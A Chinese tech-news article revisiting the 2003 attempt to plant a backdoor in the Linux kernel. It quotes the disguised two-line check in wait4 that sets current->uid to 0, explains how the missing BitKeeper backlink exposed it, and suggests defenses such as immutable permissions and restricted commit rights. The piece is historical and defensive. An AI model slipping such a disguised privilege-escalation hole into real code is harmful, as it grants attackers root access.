写点什么

回顾 Linux 内核后门

  • 2013-12-29
  • 本文字数:1138 字

    阅读完需:约 4 分钟

由于最近大众对美国国家安全局(NAS)的关注,人们的注意力转移到后门程序上。对于不熟悉该术语的人们,后门是一种有意在操作系统或软件中植入的漏洞,允许未授权的用户访问系统。在 2003 年曾经有人试图向 Linux 内核植入后门,虽然被发现了,但是这表明不论看上去多普通的变更都会引入漏洞,以及源码控制管理的重要性。

Corbet 在 LVN.Net 的文章中首次提到以下这段代码,它把自己伪装成类似 wait4 函数的参数校验。

复制代码
if((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

正常情况下没有任何影响,但是如果调用程序故意传入非法值,if 表达式的第二部分就会执行。该部分会将程序的用户 ID(current->uid)设为 0, 在 Linux 中就是 root 用户。

一眼看上去这就像是一个简单的代码错误,开发人员经常疏忽将’==‘写成’=’。虽然你认为函数 wait4 不应该与用户 ID 有任何关系,但是很明显这是故意为为之。

Corbet 描述了该后门是如何被发现的

CVS 库中的每个变更都会包含反向链接信息,表明与 BitKeeper 中的变更相同。有问题的变更缺少这样的信息,所以很快就能辨认出来。 试图通过这种方式进行变更是很可疑的,至少可以这么说,所以我们非常关注变更请求到底是什么。

攻击者曾经再次向 BitKeeper 库的 CVS 克隆库中植入后门。他继续说道

CVS 代码库是从 BitKeeper 生成的,但是补丁程序进入 BitKeeper 代码库并不经过它。所以有问题的代码只会影响基于 CVS 代码库工作的用户。发行商使用的内核不是来自该库,这次事故也说明,问题代码能够驻留很长一段时间。

大家想象一下,如果有人向代码库发起这样的攻击,增加几行看上去很好的代码,实际上植入了一个后门,而代码库没有 Linux 内核团队的控制和严格检查,你如何保护自己不受攻击。

一种方式是在应用程序中创建自己的“内核”,只有这段代码可以改变用户的角色和权限。其他的代码只是获取到用户权限的只读视图,这样他们就不能轻易得获取 root 权限。

在这样的模型中,"current->uid=0"这样的代码不会编译。如果任何人想实施攻击,或是直接修改应用程序的安全模块,但是我们会密切关注这样的修改,或是使用反射的伎俩,但是反射代码肯定比简单的赋值操作更容易被察觉到。

如果语言层面支持,一种更好的方式是使用户权限完全不可变。这种方式能够更大程度限制攻击发生的地方,只能是创建权限的地方。

这些措施应该配合对源码控制服务器的限制进行实施。一是限制尽可能少的人向主分支中提交代码,而不是过于开放;二是安全敏感代码默认应该完全锁定,只能根据问题具体情况授予编辑权限,实施的具体方法依赖此人是否使用分布式或集中式的源码控制以及具体的产品。

如果没有在变更代码成为产品之前进行审计,最终这些技术都会失效,这些措施只能减少审计疏漏问题发生的可能性。

2013-12-29 22:134735
用户头像

发布了 28 篇内容, 共 11.6 次阅读, 收获喜欢 0 次。

关注

评论

发布
暂无评论
发现更多内容

AI助力烟草专卖人才管理升级:构建智能化人员画像与队伍考评系统

中烟创新

中小企业会议成本高?可以试试这款私有化视频会议软件

BeeWorks

即时通讯 IM 私有化部署

抖音集团基于Flink的亿级RPS实时计算优化实践

Apache Flink

大数据 flink 实时计算 实时处理

深度拆解UI智能设计:如何用D2C设计稿转代码,实现产设研一体化

职场工具箱

AI 产品经理 产品设计 ui设计 设计稿转代码

AI大模型的调用性能优化

北京木奇移动技术有限公司

AI大模型 软件外包公司 AI英语学习

数字健康行业需要部署堡垒机的几种情形简单分析

行云管家

网络安全 数据安全 数字健康

腾讯云通过信通院云计算系统智能化可观测性能力最高等级认证

科技热闻

阿里云ODPS十五周年重磅升级发布:为AI而生的数据平台

阿里云大数据AI技术

人工智能 云计算 大数据 数据处理 ODPS

“方寸之间见乾坤:英特尔双卡工作站的空间折叠魔术

科技热闻

代码智能化在互联网大厂的规模化落地实践

思码逸研发效能

人工智能 研发效能 智能代码 研发效能管理 AI 编程

Meta的AI之路,为何节节败退?

脑极体

AI

训练效率提升100%!阿里云后训练全栈解决方案发布实录

阿里云大数据AI技术

人工智能 云计算 大数据 强化学习 大模型

一文带你简单了解云安全管理平台-行云管家

行云管家

云计算 云服务 云管理

AI语境下创新教学模式应用示范与推广联盟成立| 南开大学携手和鲸,破解智能化时代教育难题

ModelWhale

人工智能 教育 南开大学 和鲸

Playwright自动化测试 | 第二阶段:核心技能与调试 ​​交互操作大全

测试人

信用引擎驱动  新租赁带动消费新浪潮——中国新租赁行业洞察2025

易观分析

CPU 负载高,到底应不应该告警?

巴辉特

最佳实践 监控告警 运维监控

MyEMS能源管理系统后台配置-设备管理

开源能源管理系统

开源 能源管理系统

华为何刚:深耕基础软件开源 使能千行万业创新

最新动态

暑期出境游还是鸿蒙5好用,轻松搞定流量、导航和翻译

最新动态

私有化部署且支持局域网使用的IM即时通讯软件

BeeWorks

即时通讯 IM 私有化部署

CST直角反射器 --- A求解器, 距离分辨率,ICZT与逆傅里叶IFT

思茂信息

仿真软件 电磁仿真 CST Studio Suite

Playwright | ​​调试神器实战:Trace Viewer 录屏分析 + AI 辅助定位修复​

测试人

AI大模型接口调用流程优化

北京木奇移动技术有限公司

AI大模型 AI教育 软件外包公司

Playwright | 异步加载克星:自动等待vs智能等待策略深度解析​

测试人

MyEMS能源管理系统后台配置-组合设备管理

开源能源管理系统

开源 能源管理系统

2025年远程桌面软件深度评测:ToDesk、向日葵、TeamViewer全方位对比分析

小喵子

远程办公 向日葵 ToDesk TeamViewer

MyEMS能源管理系统后台配置-空间管理

开源能源管理系统

开源 能源管理系统

[鸿蒙征文] HarmonyOS NEXT 语音播报 Demo:零门槛上手,小白也能秒启动

三掌柜

鸿蒙 HarmonyOS HarmonyOS NEXT 实践分享

打造可落地的“指标 + AI”应用架构,支撑智能问数与分析能力

袋鼠云数栈

指标 指标管理 智能分析 智能数据分析 智能问数

想在苹果Mac电脑上玩《原神》并不难,关键是选对方法。

阿拉灯神丁

原神 CrossOver Mac下载 如何在Mac上运行win游戏 mac虚拟机软件

回顾Linux内核后门_安全_Jonathan Allen_InfoQ精选文章